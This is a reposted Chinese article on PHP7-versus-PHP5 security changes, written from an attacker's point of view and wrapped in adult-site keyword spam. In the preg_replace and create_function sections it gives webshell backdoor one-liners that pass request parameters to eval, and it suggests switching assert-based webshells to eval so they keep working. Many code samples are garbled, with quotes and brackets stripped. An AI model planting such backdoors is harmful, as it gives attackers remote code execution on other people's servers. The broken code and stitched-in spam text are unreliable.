亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 編程 > PHP > 正文

PHP7和PHP5在安全上的區別(實例)

2020-03-22 17:57:49
字體:
來源:轉載
供稿:網友

函數修改

preg_replace()不再支持/e修飾符

 ?php preg_replace( /.*/e ,$_GET[ h ], . ? 

利用e修飾符執行代碼的后門大家也用了不少了,具體看官方的這段描述:

如果設置了這個被棄用的修飾符, preg_replace() 在進行了對替換字符串的 后向引用替換之后, 將替換后的字符串作為php 代碼評估執行(eval 函數方式),并使用執行結果 作為實際參與替換的字符串。單引號、雙引號、反斜線()和 NULL 字符在 后向引用替換時會被用反斜線轉義.

很不幸,在PHP7以上版本不在支持e修飾符,同時官方給了我們一個新的函數preg_replace_callback:

這里我們稍微改動一下就可以利用它當我們的后門:

 ?php preg_replace_callback( /.*/ ,function ($a){@eval($a[0]);},$_GET[ h ]); ? 

2a69d121fd783d8a1c9c31f4009b4ad.png

create_function()被廢棄

 ?php $func =create_function( ,$_POST[ cmd $func(); ? 

少了一種可以利用當后門的函數,實際上它是通過執行eval實現的??捎锌蔁o。

mysql_*系列全員移除

如果你要在PHP7上面用老版本的mysql_*系列函數需要你自己去額外裝了,官方不在自帶,現在官方推薦的是mysqli或者pdo_mysql。這是否預示著未來SQL注入漏洞在PHP上的大幅減少呢~

我已經很久沒在目標站上挖到過sql注入了,全都是預編譯!

unserialize()增加一個可選白名單參數

$data = unserialize($serializedObj1 , [ allowed_html' target='_blank'>classes = true]);$data2 = unserialize($serializedObj2 , [ allowed_classes = [ MyClass1 , MyClass2 ]]);

其實就是一個白名單,如果反序列數據里面的類名不在這個白名單內,就會報錯。

f1654893f06fbf16637e74d7a327844.png

像這樣的報錯!

可以是類名也可以是布爾數據,如果是FALSE就會將所有的對象都轉換為__PHP_Incomplete_Class對象。TRUE是無限制。也可以傳入類名實現白名單。

還好現在是可選不是必選,要是默認FALSE逼程序員弄白名單那就真的吐血了。

assert()默認不在可以執行代碼

這就是眾多馬不能用的罪魁禍首了,太多的馬用assert()來執行代碼了,這個更新基本就團滅,一般情況下修改成eval即可正常運行了~

語法修改

foreach不再改變內部數組指針

 ?php $a = array( 1 , 2 , 3 foreach ($a as $k= $n){ echo print_r($a); foreach ($a as $k= $n){ echo print_r($a);

這樣的代碼在php5中,是這樣的執行結果:

b0a2b7d518b80bf5e4ed83908318e8f.png

因為數組最后一個元素的 $value 引用在 foreach 循環之后仍會保留,在第二個循環的時候實際上是對之前的指針不斷的賦值。php7中通過值遍歷時,操作的值為數組的副本,不在對后續操作進行影響。

這個改動影響了某些cms的洞在PHP7上無法利用了….你知道我指的是哪個洞的。

這個問題在PHP7.0.0以后的版本又被改回去了,只影響這一個版本。

8進制字符容錯率降低

在php5版本,如果一個八進制字符如果含有無效數字,該無效數字將被靜默刪節。

 ?php echo octdec( 012999999999999 ) .  echo octdec( 012 ) .  if (octdec( 012999999999999 )==octdec( 012 )){ echo : ) .  }

比如這樣的代碼在php5中的執行結果如下:

1325e9958907036d439c676f9246bda.png

但是在php7里面會觸發一個解析錯誤。

這個問題同樣在PHP7.0.0以后的版本又被改回去了,只影響這一個版本。

十六進制字符串不再被認為是數字

這個修改一出,以后CTF套路會少很多啊~

很多騷操作都不能用了~

這個沒什么好說的,大家都懂。

 ?php var_dump( 0x123 == 291 var_dump(is_numeric( 0x123 ));var_dump( 0xe + 0x1 var_dump(substr( foo , 0x1 )); ? 

以上代碼在PHP5運行結果如下:

0f071904f1efd972ebd2e4769a40a92.png

PHP7運行結果如下:

6c69ff9f3f340691b2f0cccdd9f8be4.png

你以為我要說這個在后續版本被改回去了?不,目前截至最新的PHP7.3版本依然沒有改回去的征兆,官方稱不會在改了。這個講道理還是蠻傷的。

移除了 ASP 和 script PHP 標簽

fb6228f860dd60b8395b60d8ada763a.png

現在只有 ?php ? 這樣的標簽能在php7上運行了。

字面意思,影響其實不是很大(只是以后騷套路會少一點)。

超大浮點數類型轉換截斷

將浮點數轉換為整數的時候,如果浮點數值太大,導致無法以整數表達的情況下, 在PHP5的版本中,轉換會直接將整數截斷,并不會引發錯誤。 在PHP7中,會報錯。

CTF又少一個出題套路,這個問題我只在CTF上見過,影響應該不大。

雜項

exec(), system() passthru()函數對 NULL 增加了保護.list()不再能解開字符串string變量$HTTP_RAW_POST_DATA 被移除__autoload() 方法被廢棄parse_str() 不加第二個參數會直接把字符串導入當前的符號表,如果加了就會轉換稱一個數組?,F在是第二個參數是強行選項了。統一不同平臺下的整型長度session_start() 可以加入一個數組覆蓋php.ini的配置

相關推薦:《PHP教程》

本篇文章就是關于PHP7和PHP5在安全上的區別介紹,希望對需要的朋友有所幫助!

以上就是PHP7和PHP5在安全上的區別(實例)的詳細內容,PHP教程

鄭重聲明:本文版權歸原作者所有,轉載文章僅為傳播更多信息之目的,如作者信息標記有誤,請第一時間聯系我們修改或刪除,多謝。

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
亚洲变态欧美另类捆绑| 国产精选久久久久久| 奇米影视亚洲狠狠色| 国产成人高潮免费观看精品| 亚洲福利影片在线| 国产精品久久久久久网站| 国产成人鲁鲁免费视频a| 日韩在线一区二区三区免费视频| 亚洲天堂视频在线观看| 欧美福利在线观看| 亚洲黄一区二区| 最新日韩中文字幕| 亚洲人成毛片在线播放| 中国china体内裑精亚洲片| 久久艹在线视频| 在线播放亚洲激情| 亚洲欧美视频在线| 国产精品久久久久久久美男| 在线播放国产一区中文字幕剧情欧美| 中文字幕日韩精品有码视频| 这里只有精品在线播放| 91精品国产91久久久久| 亚洲大胆人体视频| 38少妇精品导航| 久久精品视频中文字幕| 欧美在线视频播放| 久久精品91久久久久久再现| 精品国产乱码久久久久酒店| 日韩专区在线播放| 国产一区二区三区在线视频| 亚洲欧洲日本专区| 国产精品盗摄久久久| 伊是香蕉大人久久| 91精品久久久久久久久久| 国产精品成av人在线视午夜片| 欧美整片在线观看| 北条麻妃在线一区二区| 成人h视频在线观看播放| 日韩乱码在线视频| wwwwwwww亚洲| 国产精品国产三级国产aⅴ浪潮| 国产精品极品美女粉嫩高清在线| 日韩欧美高清在线视频| 日韩精品在线观看网站| 国产精品女主播| 色播久久人人爽人人爽人人片视av| 98视频在线噜噜噜国产| 国产精品久久久久av免费| 亚洲色在线视频| 日韩精品中文字幕视频在线| 欧美黑人一级爽快片淫片高清| 亚洲色在线视频| 成人网中文字幕| 91成人在线播放| 欧美精品在线免费观看| 98精品国产高清在线xxxx天堂| 欧美成人免费在线观看| 成人h视频在线观看播放| 26uuu日韩精品一区二区| 热re91久久精品国99热蜜臀| 亚洲无限乱码一二三四麻| 欧美日韩激情网| 中文字幕亚洲国产| 91国产视频在线| 欧美精品在线免费观看| 国产一区香蕉久久| 亚洲女人初尝黑人巨大| 琪琪第一精品导航| 亚洲成人免费网站| 91精品国产综合久久久久久久久| 欧美中文字幕在线| 国产精品高清免费在线观看| 亚洲已满18点击进入在线看片| 亚洲一区久久久| 国产精品爽黄69| 久久成人这里只有精品| 亚洲国产另类 国产精品国产免费| 精品国产区一区二区三区在线观看| 久久久www成人免费精品张筱雨| 亚洲男人天堂九九视频| 日韩精品极品视频| 国产自产女人91一区在线观看| 午夜欧美大片免费观看| 亚洲999一在线观看www| 欧美日韩国产激情| 日韩av黄色在线观看| 国产成人精品午夜| 国产99久久精品一区二区 夜夜躁日日躁| 美女视频久久黄| 亚洲精品永久免费精品| 久久深夜福利免费观看| 欧美最猛性xxxxx亚洲精品| 国产专区精品视频| 亚州欧美日韩中文视频| 国产成人avxxxxx在线看| 国产精品一香蕉国产线看观看| 日韩亚洲第一页| 日韩av免费在线看| 夜夜嗨av色综合久久久综合网| 国产香蕉精品视频一区二区三区| 日韩免费在线播放| 日韩美女视频免费看| 亚洲精品永久免费| 91久久久久久久一区二区| 国产精品国产福利国产秒拍| 久久久国产视频| 久久精品一偷一偷国产| 亚洲精品日产aⅴ| 国产精品久久久久久久av电影| 日韩在线欧美在线国产在线| 欧美亚洲免费电影| 啊v视频在线一区二区三区| 欧美久久精品一级黑人c片| 亚洲图片欧洲图片av| 综合激情国产一区| 久久中文字幕国产| 中文在线资源观看视频网站免费不卡| 国产99视频精品免视看7| 97视频在线观看免费高清完整版在线观看| 亚洲在线第一页| 啪一啪鲁一鲁2019在线视频| 日韩欧美中文字幕在线观看| 91欧美精品成人综合在线观看| 最新国产成人av网站网址麻豆| 亚洲第一偷拍网| 中文字幕日韩精品在线观看| 国产精品入口福利| 日本人成精品视频在线| 亚洲欧美日韩视频一区| 欧美专区日韩视频| 亚洲精品自拍视频| 久久97久久97精品免视看| 欧美成人黑人xx视频免费观看| 国产亚洲精品日韩| 久久夜色精品亚洲噜噜国产mv| 北条麻妃99精品青青久久| 97在线视频精品| 国产精品视频一| 国产成人精品免费视频| 国产精品免费一区二区三区都可以| 中文字幕v亚洲ⅴv天堂| 亚洲人av在线影院| 日本国产高清不卡| 伊人伊人伊人久久| 亚洲男子天堂网| 国产一区二区久久精品| 国产精品亚洲综合天堂夜夜| 2019av中文字幕| 成人国产精品久久久久久亚洲| 成人综合网网址| 国产精品h片在线播放| 欧美激情精品在线| 亚洲欧美综合v| 国产一区二区三区18| 色综合色综合久久综合频道88| 日韩精品视频三区| 中文一区二区视频| 国产精品99蜜臀久久不卡二区| 精品国产一区二区三区四区在线观看| 欧美性猛交xxxx乱大交蜜桃| 亚洲аv电影天堂网| 狠狠躁夜夜躁人人爽天天天天97| 91在线高清视频| 国产精品尤物福利片在线观看|